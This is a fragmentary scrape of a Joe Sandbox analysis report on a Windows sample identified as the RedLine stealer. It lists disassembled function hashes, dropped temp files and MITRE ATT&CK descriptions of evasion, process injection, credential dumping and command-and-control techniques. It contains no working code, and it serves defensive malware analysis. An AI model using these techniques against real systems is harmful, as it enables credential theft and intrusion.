Opcode Fuzzy Hash: 9a37a0da01963fe06b3f7a75ac52012264f2ebfae3daf327339d154d55f62b8c
Instruction Fuzzy Hash: 7521F472500240DFDF25DF14D9C0B2ABFA9FB8C314F24C269E90A5A256C336D416CBB1

Function 027FD474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900226603.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27fd000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec6941ba890ea0312ba693711bf8188d8a61cd2e5057c382856e6995e1eb46fd
Instruction ID: e1bbe31c15b3eebc01900c4d7ce5e39e9c0a794cc5f71b4c4edc1b66a15a323a
Opcode Fuzzy Hash: ec6941ba890ea0312ba693711bf8188d8a61cd2e5057c382856e6995e1eb46fd
Instruction Fuzzy Hash: E9212671508200EFDB54DF14C5C4B26BBA5FB88318F20C56DDE0A8B356C33BE446CA62

Function 027FD2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900226603.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27fd000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e97c1b60a267f01ac1d3f6fc3102081041880137aa02734aa9905328a50029
Instruction ID: e6b7153d18d4c8517e8f490217b18f21a5e2e2b6cefea33d1ef87d751b1a117a
Opcode Fuzzy Hash: 13e97c1b60a267f01ac1d3f6fc3102081041880137aa02734aa9905328a50029
Instruction Fuzzy Hash: B12135B1508200DFDB60DF14D9C4B2ABFA5FF84324F24C669DA495B346C33AD446CAA2

Function 027ED04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900187805.00000000027ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 027ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27ed000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: 0654b39118e620b336894a843063167d7ff465041be78fa9cfa78c81687a3a47
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: B2219D76504280DFCF16CF10D9C4B16BF72FB8C314F25C6A9D9490A256C33AD426CBA1

Function 027FD2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900226603.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27fd000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 353d6d8c244b3154fbbf639de88ddf4f99939731555589daad6d8f39f9b22785
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 6311B276508280CFDB12CF14D5C4B19FF62FB84324F24C6AADA494B756C33AD44ACBA2

Function 027FD46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900226603.00000000027FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27fd000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 52dab8a730a4a25de1ded4de17dbbedf5d59657baf24d97b959f91804ed66529
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 8211DD75508280CFCB12CF10C5C4B15BFB1FB88318F24C6AAD9494B356C33AD40ACB62

Function 027EDA59 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900187805.00000000027ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 027ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27ed000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90748153b5eb5a443633abec419de92935125ddbbaeb15763485024f7ee56081
Instruction ID: 9f6179c838c98172203d0eeabe49c42ca71eed7a592edcd9158073be80a57187
Opcode Fuzzy Hash: 90748153b5eb5a443633abec419de92935125ddbbaeb15763485024f7ee56081
Instruction Fuzzy Hash: E7012B7100C3049AEB308A69CD84767FF9CEF49324F18C56AEC0A1E286C379DD40C6B5

Function 027EDA58 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900187805.00000000027ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 027ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27ed000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 663f2600e1cca1fd43e40950b1918f8864e1e903ffe446211b5f2cd5040b9a10
Instruction ID: 70b6c32057af05c94680fa63b058267c3f063888f23314f93f7a591fbdb9c9ea
Opcode Fuzzy Hash: 663f2600e1cca1fd43e40950b1918f8864e1e903ffe446211b5f2cd5040b9a10
Instruction Fuzzy Hash: ACF09071408344AEEB208A1ADCC4B66FFACEF55734F18C55AED094F286C3799D44CAB1

Non-executed Functions

Function 0284DC90 Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0284DDA4

Memory Dump Source

Source File: 00000000.00000002.1900398471.0000000002840000.00000040.00000800.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 3fccb659194c87d252d7df892e169de76ef2f7a0e941d024f80d28043b711c53
Instruction ID: a2dd58740468c76a08e8d695159c3d2febbb5d47c7e7defb6ac4fb3ef32478f2
Opcode Fuzzy Hash: 3fccb659194c87d252d7df892e169de76ef2f7a0e941d024f80d28043b711c53
Instruction Fuzzy Hash: BBD16138B002198FCB14DB79D59466EBBFAAF89340F1584A9E509DB3A5DF34DC01CB91

Function 02844C9F Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900398471.0000000002840000.00000040.00000800.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2120d9be48d2e3303c981874156cf9fb3e52ee07d1d4937183cc3a038c99575
Instruction ID: b7af9b0f599b372f43c464609c73f1aa860811974462dc2596415a8efcc79bd9
Opcode Fuzzy Hash: a2120d9be48d2e3303c981874156cf9fb3e52ee07d1d4937183cc3a038c99575
Instruction Fuzzy Hash: 33519374D043098FDB01EBB4D9946BEBBB7EF88300F0148A9C459AB395DB359D4ACB61

Function 063B0D50 Relevance: 10.3, Strings: 8, Instructions: 299COMMON

Download Yara Rule

Strings

$^q, xrefs: 063B0E4E
$^q, xrefs: 063B0F76
$^q, xrefs: 063B0F50
$^q, xrefs: 063B0F82
$^q, xrefs: 063B0E1C
$^q, xrefs: 063B0E42
$^q, xrefs: 063B0F00
$^q, xrefs: 063B0DCC

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 81eb7375f9e6b59a0fd8481324ded3ce351c73b1491c0bdd5d95c80663136c21
Instruction ID: ffdf56e1ff7367c8e43d721dcae4814e12ac3f0917ec7d9612671cec65dcde71
Opcode Fuzzy Hash: 81eb7375f9e6b59a0fd8481324ded3ce351c73b1491c0bdd5d95c80663136c21
Instruction Fuzzy Hash: 73B1E230B006098FCB58DB69C9549AFBBF6BF88300F14946AE506DBBA5DB35DC45CB90

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xI0ubnUcsV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\xI0ubnUcsV.exe.log

C:\Users\user\AppData\Local\Temp\tmp3E14.tmp

C:\Users\user\AppData\Local\Temp\tmp3E34.tmp

C:\Users\user\AppData\Local\Temp\tmp3E45.tmp

C:\Users\user\AppData\Local\Temp\tmp3E56.tmp

C:\Users\user\AppData\Local\Temp\tmp3E57.tmp

C:\Users\user\AppData\Local\Temp\tmp3E77.tmp

C:\Users\user\AppData\Local\Temp\tmp3F1.tmp

C:\Users\user\AppData\Local\Temp\tmp3F2.tmp

C:\Users\user\AppData\Local\Temp\tmp403.tmp

C:\Users\user\AppData\Local\Temp\tmp423.tmp

C:\Users\user\AppData\Local\Temp\tmp424.tmp

C:\Users\user\AppData\Local\Temp\tmp435.tmp

C:\Users\user\AppData\Local\Temp\tmp445.tmp

C:\Users\user\AppData\Local\Temp\tmp456.tmp

Windows Analysis Report
xI0ubnUcsV.exe

Function 0636DD00 Relevance: 8.0, Strings: 6, Instructions: 465
COMMON